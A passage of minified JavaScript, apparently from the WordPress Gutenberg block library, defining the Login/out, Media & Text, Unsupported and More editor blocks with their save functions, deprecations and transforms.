Array(t>1?t-1:0),a=1;a<t;a++)n[a-1]=arguments[a];o(vm(e),...n)}}),s.children),(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(bm,{clientId:a})))},save:function(e){let{attributes:t}=e;return(0,$e.createElement)("li",Ze.useBlockProps.save(),(0,$e.createElement)(Ze.RichText.Content,{value:t.content}),(0,$e.createElement)(Ze.InnerBlocks.Content,null))},merge:(e,t)=>({...e,content:e.content+t.content})},km=()=>qe({name:ym,metadata:_m,settings:fm}),xm=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M11 14.5l1.1 1.1 3-3 .5-.5-.6-.6-3-3-1 1 1.7 1.7H5v1.5h7.7L11 14.5zM16.8 5h-7c-1.1 0-2 .9-2 2v1.5h1.5V7c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v10c0 .3-.2.5-.5.5h-7c-.3 0-.5-.2-.5-.5v-1.5H7.8V17c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2z"})),wm={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/loginout",title:"Login/out",category:"theme",description:"Show login & logout links.",keywords:["login","logout","form"],textdomain:"default",attributes:{displayLoginAsForm:{type:"boolean",default:!1},redirectToCurrent:{type:"boolean",default:!0}},supports:{className:!0,typography:{fontSize:!1}}},{name:Em}=wm,Cm={icon:xm,edit:function(e){let{attributes:t,setAttributes:n}=e;const{displayLoginAsForm:o,redirectToCurrent:a}=t;return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display login as form"),checked:o,onChange:()=>n({displayLoginAsForm:!o})}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Redirect to current URL"),checked:a,onChange:()=>n({redirectToCurrent:!a})}))),(0,$e.createElement)("div",(0,Ze.useBlockProps)({className:"logged-in"}),(0,$e.createElement)("a",{href:"#login-pseudo-link"},(0,je.__)("Log out"))))}},Sm=()=>qe({name:Em,metadata:wm,settings:Cm}),Bm=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M3 18h8V6H3v12zM14 7.5V9h7V7.5h-7zm0 5.3h7v-1.5h-7v1.5zm0 3.7h7V15h-7v1.5z"})),Tm="full",Nm=(e,t)=>e?{backgroundImage:`url(${e})`,backgroundPosition:t?`${100*t.x}% ${100*t.y}%`:"50% 50%"}:{},Pm=()=>{},Im=e=>{if(!e.customBackgroundColor)return e;const t={color:{background:e.customBackgroundColor}},{customBackgroundColor:n,...o}=e;return{...o,style:t}},zm={align:{type:"string",default:"wide"},mediaAlt:{type:"string",source:"attribute",selector:"figure img",attribute:"alt",default:""},mediaPosition:{type:"string",default:"left"},mediaId:{type:"number"},mediaType:{type:"string"},mediaWidth:{type:"number",default:50},isStackedOnMobile:{type:"boolean",default:!0}},Mm={...zm,mediaUrl:{type:"string",source:"attribute",selector:"figure video,figure img",attribute:"src"},mediaLink:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure a",attribute:"target"},href:{type:"string",source:"attribute",selector:"figure a",attribute:"href"},rel:{type:"string",source:"attribute",selector:"figure a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure a",attribute:"class"},mediaSizeSlug:{type:"string"},verticalAlignment:{type:"string"},imageFill:{type:"boolean"},focalPoint:{type:"object"}},Lm={anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,link:!0}},Rm={attributes:Mm,supports:Lm,save(e){let{attributes:t}=e;const{isStackedOnMobile:n,mediaAlt:o,mediaPosition:a,mediaType:r,mediaUrl:l,mediaWidth:i,mediaId:s,verticalAlignment:c,imageFill:u,focalPoint:m,linkClass:d,href:p,linkTarget:g,rel:h}=t,v=t.mediaSizeSlug||Tm,b=(0,St.isEmpty)(h)?void 0:h,_=at()({[`wp-image-${s}`]:s&&"image"===r,[`size-${v}`]:s&&"image"===r});let y=(0,$e.createElement)("img",{src:l,alt:o,className:_||null});p&&(y=(0,$e.createElement)("a",{className:d,href:p,target:g,rel:b},y));const f={image:()=>y,video:()=>(0,$e.createElement)("video",{controls:!0,src:l})},k=at()({"has-media-on-the-right":"right"===a,"is-stacked-on-mobile":n,[`is-vertically-aligned-${c}`]:c,"is-image-fill":u}),x=u?Nm(l,m):{};let w;50!==i&&(w="right"===a?`auto ${i}%`:`${i}% auto`);const E={gridTemplateColumns:w};return"right"===a?(0,$e.createElement)("div",Ze.useBlockProps.save({className:k,style:E}),(0,$e.createElement)("div",Ze.useInnerBlocksProps.save({className:"wp-block-media-text__content"})),(0,$e.createElement)("figure",{className:"wp-block-media-text__media",style:x},(f[r]||Pm)())):(0,$e.createElement)("div",Ze.useBlockProps.save({className:k,style:E}),(0,$e.createElement)("figure",{className:"wp-block-media-text__media",style:x},(f[r]||Pm)()),(0,$e.createElement)("div",Ze.useInnerBlocksProps.save({className:"wp-block-media-text__content"})))}},Am={attributes:Mm,supports:Lm,save(e){let{attributes:t}=e;const{isStackedOnMobile:n,mediaAlt:o,mediaPosition:a,mediaType:r,mediaUrl:l,mediaWidth:i,mediaId:s,verticalAlignment:c,imageFill:u,focalPoint:m,linkClass:d,href:p,linkTarget:g,rel:h}=t,v=t.mediaSizeSlug||Tm,b=(0,St.isEmpty)(h)?void 0:h,_=at()({[`wp-image-${s}`]:s&&"image"===r,[`size-${v}`]:s&&"image"===r});let y=(0,$e.createElement)("img",{src:l,alt:o,className:_||null});p&&(y=(0,$e.createElement)("a",{className:d,href:p,target:g,rel:b},y));const f={image:()=>y,video:()=>(0,$e.createElement)("video",{controls:!0,src:l})},k=at()({"has-media-on-the-right":"right"===a,"is-stacked-on-mobile":n,[`is-vertically-aligned-${c}`]:c,"is-image-fill":u}),x=u?Nm(l,m):{};let w;50!==i&&(w="right"===a?`auto ${i}%`:`${i}% auto`);const E={gridTemplateColumns:w};return(0,$e.createElement)("div",Ze.useBlockProps.save({className:k,style:E}),(0,$e.createElement)("figure",{className:"wp-block-media-text__media",style:x},(f[r]||Pm)()),(0,$e.createElement)("div",Ze.useInnerBlocksProps.save({className:"wp-block-media-text__content"})))}},Vm={attributes:{...zm,backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},mediaLink:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure a",attribute:"target"},href:{type:"string",source:"attribute",selector:"figure a",attribute:"href"},rel:{type:"string",source:"attribute",selector:"figure a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure a",attribute:"class"},verticalAlignment:{type:"string"},imageFill:{type:"boolean"},focalPoint:{type:"object"}},migrate:Im,save(e){let{attributes:t}=e;const{backgroundColor:n,customBackgroundColor:o,isStackedOnMobile:a,mediaAlt:r,mediaPosition:l,mediaType:i,mediaUrl:s,mediaWidth:c,mediaId:u,verticalAlignment:m,imageFill:d,focalPoint:p,linkClass:g,href:h,linkTarget:v,rel:b}=t,_=(0,St.isEmpty)(b)?void 0:b;let y=(0,$e.createElement)("img",{src:s,alt:r,className:u&&"image"===i?`wp-image-${u}`:null});h&&(y=(0,$e.createElement)("a",{className:g,href:h,target:v,rel:_},y));const f={image:()=>y,video:()=>(0,$e.createElement)("video",{controls:!0,src:s})},k=(0,Ze.getColorClassName)("background-color",n),x=at()({"has-media-on-the-right":"right"===l,"has-background":k||o,[k]:k,"is-stacked-on-mobile":a,[`is-vertically-aligned-${m}`]:m,"is-image-fill":d}),w=d?Nm(s,p):{};let E;50!==c&&(E="right"===l?`auto ${c}%`:`${c}% auto`);const C={backgroundColor:k?void 0:o,gridTemplateColumns:E};return(0,$e.createElement)("div",{className:x,style:C},(0,$e.createElement)("figure",{className:"wp-block-media-text__media",style:w},(f[i]||Pm)()),(0,$e.createElement)("div",{className:"wp-block-media-text__content"},(0,$e.createElement)(Ze.InnerBlocks.Content,null)))}},Hm={attributes:{...zm,backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},mediaUrl:{type:"string",source:"attribute",selector:"figure video,figure img",attribute:"src"},verticalAlignment:{type:"string"},imageFill:{type:"boolean"},focalPoint:{type:"object"}},migrate:Im,save(e){let{attributes:t}=e;const{backgroundColor:n,customBackgroundColor:o,isStackedOnMobile:a,mediaAlt:r,mediaPosition:l,mediaType:i,mediaUrl:s,mediaWidth:c,mediaId:u,verticalAlignment:m,imageFill:d,focalPoint:p}=t,g={image:()=>(0,$e.createElement)("img",{src:s,alt:r,className:u&&"image"===i?`wp-image-${u}`:null}),video:()=>(0,$e.createElement)("video",{controls:!0,src:s})},h=(0,Ze.getColorClassName)("background-color",n),v=at()({"has-media-on-the-right":"right"===l,[h]:h,"is-stacked-on-mobile":a,[`is-vertically-aligned-${m}`]:m,"is-image-fill":d}),b=d?Nm(s,p):{};let _;50!==c&&(_="right"===l?`auto ${c}%`:`${c}% auto`);const y={backgroundColor:h?void 0:o,gridTemplateColumns:_};return(0,$e.createElement)("div",{className:v,style:y},(0,$e.createElement)("figure",{className:"wp-block-media-text__media",style:b},(g[i]||Pm)()),(0,$e.createElement)("div",{className:"wp-block-media-text__content"},(0,$e.createElement)(Ze.InnerBlocks.Content,null)))}},Dm={attributes:{...zm,backgroundColor:{type:"string"},customBackgroundColor:{type:"string"},mediaUrl:{type:"string",source:"attribute",selector:"figure video,figure img",attribute:"src"}},save(e){let{attributes:t}=e;const{backgroundColor:n,customBackgroundColor:o,isStackedOnMobile:a,mediaAlt:r,mediaPosition:l,mediaType:i,mediaUrl:s,mediaWidth:c}=t,u={image:()=>(0,$e.createElement)("img",{src:s,alt:r}),video:()=>(0,$e.createElement)("video",{controls:!0,src:s})},m=(0,Ze.getColorClassName)("background-color",n),d=at()({"has-media-on-the-right":"right"===l,[m]:m,"is-stacked-on-mobile":a});let p;50!==c&&(p="right"===l?`auto ${c}%`:`${c}% auto`);const g={backgroundColor:m?void 0:o,gridTemplateColumns:p};return(0,$e.createElement)("div",{className:d,style:g},(0,$e.createElement)("figure",{className:"wp-block-media-text__media"},(u[i]||Pm)()),(0,$e.createElement)("div",{className:"wp-block-media-text__content"},(0,$e.createElement)(Ze.InnerBlocks.Content,null)))}},Fm=[Rm,Am,Vm,Hm,Dm],Gm=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M4 18h6V6H4v12zm9-9.5V10h7V8.5h-7zm0 7h7V14h-7v1.5z"})),$m=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M14 6v12h6V6h-6zM4 10h7V8.5H4V10zm0 5.5h7V14H4v1.5z"})),Um=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(We.Path,{d:"M18 2l2 4h-2l-2-4h-3l2 4h-2l-2-4h-1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V2zm2 12H10V4.4L11.8 8H20z"}),(0,$e.createElement)(We.Path,{d:"M14 20H4V10h3V8H4a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3h-2z"}),(0,$e.createElement)(We.Path,{d:"M5 19h8l-1.59-2H9.24l-.84 1.1L7 16.3 5 19z"})),Om=["image","video"],qm=()=>{};function Wm(e,t){return e?{backgroundImage:`url(${e})`,backgroundPosition:t?`${Math.round(100*t.x)}% ${Math.round(100*t.y)}%`:"50% 50%"}:{}}const jm=(0,$e.forwardRef)(((e,t)=>{let{isSelected:n,isStackedOnMobile:o,...a}=e;const r=(0,Wt.useViewportMatch)("small","<");return(0,$e.createElement)(We.ResizableBox,nt({ref:t,showHandle:n&&(!r||!o)},a))}));function Zm(e){let{mediaId:t,mediaUrl:n,onSelectMedia:o}=e;return(0,$e.createElement)(Ze.BlockControls,{group:"other"},(0,$e.createElement)(Ze.MediaReplaceFlow,{mediaId:t,mediaURL:n,allowedTypes:Om,accept:"image/*,video/*",onSelect:o}))}function Qm(e){let{className:t,mediaUrl:n,onSelectMedia:o}=e;const{createErrorNotice:a}=(0,it.useDispatch)(wt.store);return(0,$e.createElement)(Ze.MediaPlaceholder,{icon:(0,$e.createElement)(Ze.BlockIcon,{icon:Um}),labels:{title:(0,je.__)("Media area")},className:t,onSelect:o,accept:"image/*,video/*",allowedTypes:Om,onError:e=>{a(e,{type:"snackbar"})},disableMediaButtons:n})}const Km=(0,$e.forwardRef)((function(e,t){const{className:n,commitWidthChange:o,focalPoint:a,imageFill:r,isSelected:l,isStackedOnMobile:i,mediaAlt:s,mediaId:c,mediaPosition:u,mediaType:m,mediaUrl:d,mediaWidth:p,onSelectMedia:g,onWidthChange:h,isContentLocked:v}=e,b=!c&&(0,xt.isBlobURL)(d),{toggleSelection:_}=(0,it.useDispatch)(Ze.store);if(d){const y=()=>{_(!1)},f=(e,t,n)=>{h(parseInt(n.style.width))},k=(e,t,n)=>{_(!0),o(parseInt(n.style.width))},x={right:!v&&"left"===u,left:!v&&"right"===u},w="image"===m&&r?Wm(d,a):{},E={image:()=>(0,$e.createElement)("img",{src:d,alt:s}),video:()=>(0,$e.createElement)("video",{controls:!0,src:d})};return(0,$e.createElement)(jm,{as:"figure",className:at()(n,"editor-media-container__resizer",{"is-transient":b}),style:w,size:{width:p+"%"},minWidth:"10%",maxWidth:"100%",enable:x,onResizeStart:y,onResize:f,onResizeStop:k,axis:"x",isSelected:l,isStackedOnMobile:i,ref:t},(0,$e.createElement)(Zm,{onSelectMedia:g,mediaUrl:d,mediaId:c}),(E[m]||qm)(),b&&(0,$e.createElement)(We.Spinner,null),(0,$e.createElement)(Qm,e))}return(0,$e.createElement)(Qm,e)})),Ym=[["core/paragraph",{placeholder:(0,je._x)("Content…","content placeholder")}]],Jm=e=>Math.max(15,Math.min(e,85));function Xm(e,t){var n,o,a;return null==e||null===(n=e.media_details)||void 0===n||null===(o=n.sizes)||void 0===o||null===(a=o[t])||void 0===a?void 0:a.source_url}const ed=()=>{},td={from:[{type:"block",blocks:["core/image"],transform:e=>{let{alt:t,url:n,id:o,anchor:a}=e;return(0,Ge.createBlock)("core/media-text",{mediaAlt:t,mediaId:o,mediaUrl:n,mediaType:"image",anchor:a})}},{type:"block",blocks:["core/video"],transform:e=>{let{src:t,id:n,anchor:o}=e;return(0,Ge.createBlock)("core/media-text",{mediaId:n,mediaUrl:t,mediaType:"video",anchor:o})}},{type:"block",blocks:["core/cover"],transform:(e,t)=>{let{align:n,alt:o,anchor:a,backgroundType:r,customGradient:l,customOverlayColor:i,gradient:s,id:c,overlayColor:u,url:m}=e,d={};return l?d={style:{color:{gradient:l}}}:i&&(d={style:{color:{background:i}}}),(0,Ge.createBlock)("core/media-text",{align:n,anchor:a,backgroundColor:u,gradient:s,mediaAlt:o,mediaId:c,mediaType:r,mediaUrl:m,...d},t)}}],to:[{type:"block",blocks:["core/image"],isMatch:e=>{let{mediaType:t,mediaUrl:n}=e;return!n||"image"===t},transform:e=>{let{mediaAlt:t,mediaId:n,mediaUrl:o,anchor:a}=e;return(0,Ge.createBlock)("core/image",{alt:t,id:n,url:o,anchor:a})}},{type:"block",blocks:["core/video"],isMatch:e=>{let{mediaType:t,mediaUrl:n}=e;return!n||"video"===t},transform:e=>{let{mediaId:t,mediaUrl:n,anchor:o}=e;return(0,Ge.createBlock)("core/video",{id:t,src:n,anchor:o})}},{type:"block",blocks:["core/cover"],transform:(e,t)=>{var n,o,a;let{align:r,anchor:l,backgroundColor:i,focalPoint:s,gradient:c,mediaAlt:u,mediaId:m,mediaType:d,mediaUrl:p,style:g,textColor:h}=e;const v={};null!=g&&null!==(n=g.color)&&void 0!==n&&n.gradient?v.customGradient=g.color.gradient:null!=g&&null!==(o=g.color)&&void 0!==o&&o.background&&(v.customOverlayColor=g.color.background);const b={align:r,alt:u,anchor:l,backgroundType:d,dimRatio:p?50:100,focalPoint:s,gradient:c,id:m,overlayColor:i,url:p,...v},_=null==g||null===(a=g.color)||void 0===a?void 0:a.text;if(!h&&!_)return(0,Ge.createBlock)("core/cover",b,t);const y=t.map((e=>{var t;const{attributes:{style:n}}=e;if(e.attributes.textColor||null!=n&&null!==(t=n.color)&&void 0!==t&&t.text)return e;const o={textColor:h};return _&&(o.style={...n,color:{...null==n?void 0:n.color,text:_}}),(0,Ge.createBlock)(e.name,{...e.attributes,...o},e.innerBlocks)}));return(0,Ge.createBlock)("core/cover",b,y)}}]},nd=td,od={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/media-text",title:"Media & Text",category:"media",description:"Set media and words side-by-side for a richer layout.",keywords:["image","video"],textdomain:"default",attributes:{align:{type:"string",default:"wide"},mediaAlt:{type:"string",source:"attribute",selector:"figure img",attribute:"alt",default:"",__experimentalRole:"content"},mediaPosition:{type:"string",default:"left"},mediaId:{type:"number",__experimentalRole:"content"},mediaUrl:{type:"string",source:"attribute",selector:"figure video,figure img",attribute:"src",__experimentalRole:"content"},mediaLink:{type:"string"},linkDestination:{type:"string"},linkTarget:{type:"string",source:"attribute",selector:"figure a",attribute:"target"},href:{type:"string",source:"attribute",selector:"figure a",attribute:"href",__experimentalRole:"content"},rel:{type:"string",source:"attribute",selector:"figure a",attribute:"rel"},linkClass:{type:"string",source:"attribute",selector:"figure a",attribute:"class"},mediaType:{type:"string",__experimentalRole:"content"},mediaWidth:{type:"number",default:50},mediaSizeSlug:{type:"string"},isStackedOnMobile:{type:"boolean",default:!0},verticalAlignment:{type:"string"},imageFill:{type:"boolean"},focalPoint:{type:"object"}},supports:{anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-media-text-editor",style:"wp-block-media-text"},{name:ad}=od,rd={icon:Bm,example:{viewportWidth:601,attributes:{mediaType:"image",mediaUrl:"https://s.w.org/images/core/5.3/Biologia_Centrali-Americana_-_Cantorchilus_semibadius_1902.jpg"},innerBlocks:[{name:"core/paragraph",attributes:{content:(0,je.__)("The wren<br>Earns his living<br>Noiselessly.")}},{name:"core/paragraph",attributes:{content:(0,je.__)("— Kobayashi Issa (一茶)")}}]},transforms:nd,edit:function(e){let{attributes:t,isSelected:n,setAttributes:o,clientId:a}=e;const{focalPoint:r,href:l,imageFill:i,isStackedOnMobile:s,linkClass:c,linkDestination:u,linkTarget:m,mediaAlt:d,mediaId:p,mediaPosition:g,mediaType:h,mediaUrl:v,mediaWidth:b,rel:_,verticalAlignment:y}=t,f=t.mediaSizeSlug||Tm,{imageSizes:k,image:x,isContentLocked:w}=(0,it.useSelect)((e=>{var t;const{__unstableGetContentLockingParent:o,getSettings:r}=e(Ze.store);return{isContentLocked:!!o(a),image:p&&n?e(lt.store).getMedia(p,{context:"view"}):null,imageSizes:null===(t=r())||void 0===t?void 0:t.imageSizes}}),[n,p,a]),E=(0,$e.useRef)(),C=e=>{const{style:t}=E.current.resizable,{x:n,y:o}=e;t.backgroundPosition=`${100*n}% ${100*o}%`},[S,B]=(0,$e.useState)(null),T=function(e){let{attributes:{linkDestination:t,href:n},setAttributes:o}=e;return e=>{if(!e||!e.url)return void o({mediaAlt:void 0,mediaId:void 0,mediaType:void 0,mediaUrl:void 0,mediaLink:void 0,href:void 0,focalPoint:void 0});let a,r;var l,i,s,c,u;(0,xt.isBlobURL)(e.url)&&(e.type=(0,xt.getBlobTypeByURL)(e.url)),a=e.media_type?"image"===e.media_type?"image":"video":e.type,"image"===a&&(r=(null===(l=e.sizes)||void 0===l||null===(i=l.large)||void 0===i?void 0:i.url)||(null===(s=e.media_details)||void 0===s||null===(c=s.sizes)||void 0===c||null===(u=c.large)||void 0===u?void 0:u.source_url));let m=n;"media"===t&&(m=e.url),"attachment"===t&&(m=e.link),o({mediaAlt:e.alt,mediaId:e.id,mediaType:a,mediaUrl:r||e.url,mediaLink:e.link||void 0,href:m,focalPoint:void 0})}}({attributes:t,setAttributes:o}),N=e=>{o({mediaWidth:Jm(e)}),B(Jm(e))},P=at()({"has-media-on-the-right":"right"===g,"is-selected":n,"is-stacked-on-mobile":s,[`is-vertically-aligned-${y}`]:y,"is-image-fill":i}),I=`${S||b}%`,z="right"===g?`1fr ${I}`:`${I} 1fr`,M={gridTemplateColumns:z,msGridColumns:z},L=(0,St.map)((0,St.filter)(k,(e=>{let{slug:t}=e;return Xm(x,t)})),(e=>{let{name:t,slug:n}=e;return{value:n,label:t}})),R=(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Stack on mobile"),checked:s,onChange:()=>o({isStackedOnMobile:!s})}),"image"===h&&(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Crop image to fill entire column"),checked:i,onChange:()=>o({imageFill:!i})}),i&&v&&"image"===h&&(0,$e.createElement)(We.FocalPointPicker,{label:(0,je.__)("Focal point picker"),url:v,value:r,onChange:e=>o({focalPoint:e}),onDragStart:C,onDrag:C}),"image"===h&&(0,$e.createElement)(We.TextareaControl,{label:(0,je.__)("Alt text (alternative text)"),value:d,onChange:e=>{o({mediaAlt:e})},help:(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.ExternalLink,{href:"https://www.w3.org/WAI/tutorials/images/decision-tree"},(0,je.__)("Describe the purpose of the image")),(0,je.__)("Leave empty if the image is purely decorative."))}),"image"===h&&(0,$e.createElement)(Ze.__experimentalImageSizeControl,{onChangeImage:e=>{const t=Xm(x,e);if(!t)return null;o({mediaUrl:t,mediaSizeSlug:e})},slug:f,imageSizeOptions:L,isResizable:!1,imageSizeHelp:(0,je.__)("Select which image size to load.")}),v&&(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Media width"),value:S||b,onChange:N,min:15,max:85})),A=(0,Ze.useBlockProps)({className:P,style:M}),V=(0,Ze.useInnerBlocksProps)({className:"wp-block-media-text__content"},{template:Ym});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,R),(0,$e.createElement)(Ze.BlockControls,{group:"block"},!w&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockVerticalAlignmentControl,{onChange:e=>{o({verticalAlignment:e})},value:y}),(0,$e.createElement)(We.ToolbarButton,{icon:Gm,title:(0,je.__)("Show media on left"),isActive:"left"===g,onClick:()=>o({mediaPosition:"left"})}),(0,$e.createElement)(We.ToolbarButton,{icon:$m,title:(0,je.__)("Show media on right"),isActive:"right"===g,onClick:()=>o({mediaPosition:"right"})})),"image"===h&&(0,$e.createElement)(Ze.__experimentalImageURLInputUI,{url:l||"",onChangeUrl:e=>{o(e)},linkDestination:u,mediaType:h,mediaUrl:x&&x.source_url,mediaLink:x&&x.link,linkTarget:m,linkClass:c,rel:_})),(0,$e.createElement)("div",A,"right"===g&&(0,$e.createElement)("div",V),(0,$e.createElement)(Km,{className:"wp-block-media-text__media",onSelectMedia:T,onWidthChange:e=>{B(Jm(e))},commitWidthChange:N,ref:E,focalPoint:r,imageFill:i,isSelected:n,isStackedOnMobile:s,mediaAlt:d,mediaId:p,mediaPosition:g,mediaType:h,mediaUrl:v,mediaWidth:b,isContentLocked:w}),"right"!==g&&(0,$e.createElement)("div",V)))},save:function(e){let{attributes:t}=e;const{isStackedOnMobile:n,mediaAlt:o,mediaPosition:a,mediaType:r,mediaUrl:l,mediaWidth:i,mediaId:s,verticalAlignment:c,imageFill:u,focalPoint:m,linkClass:d,href:p,linkTarget:g,rel:h}=t,v=t.mediaSizeSlug||Tm,b=(0,St.isEmpty)(h)?void 0:h,_=at()({[`wp-image-${s}`]:s&&"image"===r,[`size-${v}`]:s&&"image"===r});let y=(0,$e.createElement)("img",{src:l,alt:o,className:_||null});p&&(y=(0,$e.createElement)("a",{className:d,href:p,target:g,rel:b},y));const f={image:()=>y,video:()=>(0,$e.createElement)("video",{controls:!0,src:l})},k=at()({"has-media-on-the-right":"right"===a,"is-stacked-on-mobile":n,[`is-vertically-aligned-${c}`]:c,"is-image-fill":u}),x=u?Wm(l,m):{};let w;50!==i&&(w="right"===a?`auto ${i}%`:`${i}% auto`);const E={gridTemplateColumns:w};return"right"===a?(0,$e.createElement)("div",Ze.useBlockProps.save({className:k,style:E}),(0,$e.createElement)("div",Ze.useInnerBlocksProps.save({className:"wp-block-media-text__content"})),(0,$e.createElement)("figure",{className:"wp-block-media-text__media",style:x},(f[r]||ed)())):(0,$e.createElement)("div",Ze.useBlockProps.save({className:k,style:E}),(0,$e.createElement)("figure",{className:"wp-block-media-text__media",style:x},(f[r]||ed)()),(0,$e.createElement)("div",Ze.useInnerBlocksProps.save({className:"wp-block-media-text__content"})))},deprecated:Fm},ld=()=>qe({name:ad,metadata:od,settings:rd}),id=window.wp.dom,sd=(0,it.withDispatch)(((e,t)=>{let{clientId:n,attributes:o}=t;const{replaceBlock:a}=e(Ze.store);return{convertToHTML(){a(n,(0,Ge.createBlock)("core/html",{content:o.originalUndelimitedContent}))}}}))((function(e){let{attributes:t,convertToHTML:n,clientId:o}=e;const{originalName:a,originalUndelimitedContent:r}=t,l=!!r,i=(0,it.useSelect)((e=>{const{canInsertBlockType:t,getBlockRootClientId:n}=e(Ze.store);return t("core/html",n(o))}),[o]),s=[];let c;return l&&i?(c=(0,je.sprintf)(
/* translators: %s: block name */
(0,je.__)('Your site doesn’t include support for the "%s" block. You can leave this block intact, convert its content to a Custom HTML block, or remove it entirely.'),a),s.push((0,$e.createElement)(We.Button,{key:"convert",onClick:n,variant:"primary"},(0,je.__)("Keep as HTML")))):c=(0,je.sprintf)(
/* translators: %s: block name */
(0,je.__)('Your site doesn’t include support for the "%s" block. You can leave this block intact or remove it entirely.'),a),(0,$e.createElement)("div",(0,Ze.useBlockProps)({className:"has-warning"}),(0,$e.createElement)(Ze.Warning,{actions:s},c),(0,$e.createElement)($e.RawHTML,null,(0,id.safeHTML)(r)))})),cd=sd,ud={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/missing",title:"Unsupported",category:"text",description:"Your site doesn’t include support for this block.",textdomain:"default",attributes:{originalName:{type:"string"},originalUndelimitedContent:{type:"string"},originalContent:{type:"string",source:"html"}},supports:{className:!1,customClassName:!1,inserter:!1,html:!1,reusable:!1}},{name:md}=ud,dd={name:md,__experimentalLabel(e,t){let{context:n}=t;if("accessibility"===n){const{originalName:t}=e,n=t?(0,Ge.getBlockType)(t):void 0;return n?n.settings.title||t:""}},edit:cd,save:function(e){let{attributes:t}=e;return(0,$e.createElement)($e.RawHTML,null,t.originalContent)}},pd=()=>qe({name:md,metadata:ud,settings:dd}),gd=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M4 9v1.5h16V9H4zm12 5.5h4V13h-4v1.5zm-6 0h4V13h-4v1.5zm-6 0h4V13H4v1.5z"})),hd=(0,je.__)("Read more"),vd={from:[{type:"raw",schema:{"wp-block":{attributes:["data-block"]}},isMatch:e=>e.dataset&&"core/more"===e.dataset.block,transform(e){const{customText:t,noTeaser:n}=e.dataset,o={};return t&&(o.customText=t),""===n&&(o.noTeaser=!0),(0,Ge.createBlock)("core/more",o)}}]},bd={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/more",title:"More",category:"design",description:"Content before this block will be shown in the excerpt on your archives page.",keywords:["read more"],textdomain:"default",attributes:{customText:{type:"string"},noTeaser:{type:"boolean",default:!1}},supports:{customClassName:!1,className:!1,html:!1,multiple:!1},editorStyle:"wp-block-more-editor"},{name:_d}=bd,yd={icon:gd,example:{},__experimentalLabel(e,t){let{context:n}=t;if("accessibility"===n)return e.customText},transforms:vd,edit:function(e){let{attributes:{customText:t,noTeaser:n},insertBlocksAfter:o,setAttributes:a}=e;const r={width:`${(t||hd).length+1.2}em`};return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,null,(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Hide the excerpt on the full content page"),checked:!!n,onChange:()=>a({noTeaser:!n}),help:e=>e?(0,je.__)("The excerpt is hidden."):(0,je.__)("The excerpt is visible.")}))),(0,$e.createElement)("div",(0,Ze.useBlockProps)(),(0,$e.createElement)("input",{"aria-label":(0,je.__)("“Read more” link text"),type:"text",value:t,placeholder:hd,onChange:e=>{a({customText:""!==e.target.value?e.target.value:void 0})},onKeyDown:e=>{let{keyCode:t}=e;t===rn.ENTER&&o([(0,Ge.createBlock)((0,Ge.getDefaultBlockName)())])},style:r})))},save:function(e){let{attributes:{customText:t,noTeaser:n}}=e;const o=t?`\x3c!--more ${t}--\x3e`:"\x3c!--more--\x3e",a=n?"\x3c!--noteaser--\x3e":"";return(0,$e.createElement)($e.RawHTML,null,[o,a].filter(Boolean).join("\n"))}},fd=()=>qe({name:_d,metadata:bd,settings:yd}),kd=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M12 